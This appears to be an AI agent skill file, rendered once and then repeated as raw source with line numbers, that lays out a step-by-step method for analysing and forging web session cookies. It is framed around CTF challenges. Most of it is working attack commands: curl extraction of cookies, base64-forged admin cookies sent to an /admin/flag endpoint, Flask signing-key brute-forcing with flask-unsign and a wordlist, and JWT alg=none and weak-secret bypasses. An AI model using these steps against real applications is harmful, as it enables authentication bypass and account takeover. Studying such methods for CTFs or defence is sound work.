Cookie Analysis & Forgery Methodology
When to Use
- You found a session cookie and want to forge it
- BEFORE running flask-unsign or any brute-force tool
- When you need to bypass authentication via cookie manipulation
Step 1: Extract the cookie
curl -sI http://TARGET/ | grep -i set-cookie
Step 2: Identify cookie type
Test A: Base64 decode
echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"
If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)
- Attack: forge directly — takes 5 seconds
# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag
echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64
Test B: Flask itsdangerous signature
If the cookie has a . followed by a signature portion:
# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt
Test C: JWT
If the cookie has three base64 parts separated by .:
# Header.Payload.Signature
echo '<first_part>' | base64 -d # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")
Test D: Encrypted/Binary
If base64 decode produces garbage → encrypted cookie
- Need key or padding oracle attack
- Check source code for encryption key
Step 3: Common bypass patterns
- If unsigned: forge with user_id=1, role=admin, is_admin=true
- If Flask-signed: try common keys ('secret', app name, etc.)
- If JWT with alg=none: remove signature, set alg to "none"
- If JWT with HS256: try common secrets, check for JWKS endpoint
Critical Reminders
- NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
- Always decode the cookie FIRST to determine its type
- Base64 JSON cookies are the most common type in CTF challenges
- Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes
1---2name: cookie-analysis3description: "Session cookie analysis and forgery methodology. Use when a web application authenticates with cookies and you need to determine the cookie type and choose a forgery method. Covers direct forgery of unsigned base64 cookies, Flask signed cookies (brute-forcing the key with flask-unsign), and identification of encrypted/binary cookies. This skill handles cookie type triage and routing: if the cookie is a JWT (three segments starting with eyJ), switch to jwt-attack-methodology; if it is an encrypted cookie that needs a padding oracle, switch to crypto-web-attack"4zh-signals: "分析与伪造 Session Cookie,判断 cookie 类型并选择相应伪造方法,涵盖 unsigned base64、Flask 签名与加密 cookie。信号:Cookie分析,Cookie伪造,Session,Flask签名,认证绕过"5when-to-use: >-6 Use when a web application uses cookies for authentication and you need to identify7 the cookie type and choose a forgery method, routing JWT or padding-oracle cases to8 dedicated skills.9metadata:10 source: https://skillmd.com/skills/dangeroussong/cookie-analysis11 tags: "cookie,session,flask,base64,forgery,authentication,bypass,cookie-analysis,authentication bypass,flask-unsign,session cookie,itsdangerous,cookie forgery,unsigned cookie"12 category: "exploit"13---1415# Cookie Analysis & Forgery Methodology16- 攻击大类:C09 Web应用漏洞利用1718## When to Use19- You found a session cookie and want to forge it20- BEFORE running flask-unsign or any brute-force tool21- When you need to bypass authentication via cookie manipulation2223## Step 1: Extract the cookie24```bash25curl -sI http://TARGET/ | grep -i set-cookie26```2728## Step 2: Identify cookie type2930### Test A: Base64 decode31```bash32echo '<cookie_value>' | base64 -d 2>/dev/null33# Also try URL-decoded version:34python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"35```3637**If it decodes to valid JSON** → **UNSIGNED BASE64** (most common in CTF!)38- Attack: forge directly — takes 5 seconds39```bash40# Forge admin session41echo -n '{"user_id":1}' | base6442# Use as cookie:43curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag44```4546- Try variations:47```bash48echo -n '{"user_id":1}' | base6449echo -n '{"role":"admin"}' | base6450echo -n '{"is_admin":true}' | base6451echo -n '{"user_id":1,"role":"admin"}' | base6452echo -n '{"username":"admin"}' | base6453```5455### Test B: Flask itsdangerous signature56If the cookie has a `.` followed by a signature portion:57```bash58# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...59flask-unsign --decode --cookie '<cookie>'60# If decode works → Flask signed cookie61flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt62```6364### Test C: JWT65If the cookie has three base64 parts separated by `.`:66```bash67# Header.Payload.Signature68echo '<first_part>' | base64 -d # Should show {"alg":"...","typ":"JWT"}69# → Use Skill(skill="jwt-attack-methodology")70```7172### Test D: Encrypted/Binary73If base64 decode produces garbage → encrypted cookie74- Need key or padding oracle attack75- Check source code for encryption key7677## Step 3: Common bypass patterns78- If unsigned: forge with user_id=1, role=admin, is_admin=true79- If Flask-signed: try common keys ('secret', app name, etc.)80- If JWT with alg=none: remove signature, set alg to "none"81- If JWT with HS256: try common secrets, check for JWKS endpoint8283## Critical Reminders84- NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails85- Always decode the cookie FIRST to determine its type86- Base64 JSON cookies are the most common type in CTF challenges87- Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes